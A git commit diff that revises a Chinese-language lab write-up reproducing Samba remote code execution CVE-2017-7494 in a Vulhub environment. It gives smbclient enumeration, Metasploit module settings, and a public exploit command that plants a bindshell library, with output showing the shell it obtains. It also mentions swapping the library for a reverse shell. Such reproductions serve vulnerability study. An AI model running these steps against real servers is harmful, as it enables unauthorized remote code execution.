fix broken images

This commit is contained in:
Threekiii committed 2025-06-16 09:05:19 +08:00
1 parent 83d761ec80
commit 2e6bd24982
5 files changed
+45 -12

No files matched your search

@@ -2,7 +2,7 @@
## 漏洞描述
Samba允许连接一个远程的命名管道,并且在连接前会调用`is_known_pipename()`函数验证管道名称是否合法。在`is_known_pipename()`函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码。
Samba 允许连接一个远程的命名管道,并且在连接前会调用 `is_known_pipename()` 函数验证管道名称是否合法。在 `is_known_pipename()` 函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库。导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码。
该漏洞要求的利用条件:
@@ -18,42 +18,75 @@ Samba允许连接一个远程的命名管道,并且在连接前会调用`is_kn
## 漏洞影响
```
Samba版本:4.6.3(该漏洞在4.6.4被修复)
Samba版本 ≤ 4.6.3(该漏洞在 4.6.4 被修复)
```
## 环境搭建
Vulhub运行测试环境:
Vulhub 运行测试环境:
```
docker-compose up -d
```
测试环境运行后,监听 445 端口,默认开启了一个共享“myshare”,共享的目录为 `/home/share`,可读可写。
## 漏洞复现
测试环境运行后,监听445端口,默认开启了一个共享“myshare”,共享的目录为`/home/share`,可读可写。
smbclient 匿名枚举:
我们可以在Linux下用smbclient(安装:`apt install smbclient`)连接试试:
```shell
# apt install smbclient
smbclient -L //10.8.0.1/ -N
```
![image-20220228222106682](images/202202282221768.png)
![](images/Samba%20远程命令执行漏洞%20CVE-2017-7494/image-20250612103018938.png)
成功连接。大家测试的时候如果连接不成功,有可能是国内运营商封了445端口,最好在本地或虚拟机测试,比如上图。
smbclient 匿名连接(如果连接不成功,可能是运营商封禁 445 端口,建议本地或虚拟机测试):
参考[#224](https://github.com/vulhub/vulhub/issues/224),新版metasploit可能无法复现这个漏洞。我们使用[SambaCry RCE exploit for Samba 4.5.9](https://github.com/opsxcq/exploit-CVE-2017-7494)来复现。
```
smbclient //10.8.0.1/myshare -N
```
配置SambaCry RCE exploit for Samba 4.5.9:
![](images/Samba%20远程命令执行漏洞%20CVE-2017-7494/image-20250612102755569.png)
metasploit:
```
msf6 > use exploit/linux/samba/is_known_pipename
msf6 exploit(linux/samba/is_known_pipename) > set SMB_SHARE_NAME myshare
msf6 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER /
msf6 exploit(linux/samba/is_known_pipename) > set rhosts 10.8.0.1
msf6 exploit(linux/samba/is_known_pipename) > run
```
![](images/Samba%20远程命令执行漏洞%20CVE-2017-7494/image-20250612103444786.png)
参考 [#224](https://github.com/vulhub/vulhub/issues/224),如果 metasploit 无法复现这个漏洞,可以使用 [SambaCry RCE exploit for Samba 4.5.9](https://github.com/opsxcq/exploit-CVE-2017-7494) 来复现。
配置 SambaCry RCE exploit for Samba 4.5.9:
```
$ conda create -n py27 python=2.7
$ pip install -r requirements.txt
```
在目标服务器上执行`/home/share/libbindshell-samba.so`,其中myshare是分享名称(在vulhub中为`myshare`),而`/home/share`是对应的可写目录。`-u`和`-p`用来指定用户名、密码,当前环境是一个匿名smb,所以填写任意信息均可。因为libbindshell-samba.so是一个bindshell,监听地址是6699,所以我们通过`-P`指定这个端口。在实际渗透中,我们可以修改`libbindshell-samba.c`,写入任意其他代码,如反弹shell,避免使用bindshell。
在目标服务器上执行 `/home/share/libbindshell-samba.so`,其中 myshare 是分享名称(在 vulhub 中为 `myshare`),而 `/home/share` 是对应的可写目录。`-u` 和 `-p` 用来指定用户名、密码,当前环境是一个匿名 smb,所以填写任意信息均可。因为 libbindshell-samba.so 是一个 bindshell,监听地址是 6699,所以我们通过 `-P` 指定这个端口。在实际渗透中,我们可以修改 `libbindshell-samba.c`,写入任意其他代码,如反弹 shell,避免使用 bindshell。
```
python ./exploit.py -t your-ip -e libbindshell-samba.so -s myshare -r /home/share/libbindshell-samba.so -u guest -p guest -P 6699
# py27
python exploit.py -t 10.8.0.1 -e libbindshell-samba.so -s myshare -r /home/share/libbindshell-samba.so -u guest -p guest -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.8.0.1 at 6699
[+] Veryfying your shell...
>>Linux f8c6cce116fa 5.4.119-20.0009.31 #1 SMP Tue Apr 9 16:04:48 CST 2024 x86_64 x86_64 x86_64 GNU/Linux
id
>>uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)
```
成功执行命令:
![image-20220228223532911](images/202202282235034.png)
![](images/Samba%20远程命令执行漏洞%20CVE-2017-7494/image-20250612104108547.png)
Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 190 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 140 KiB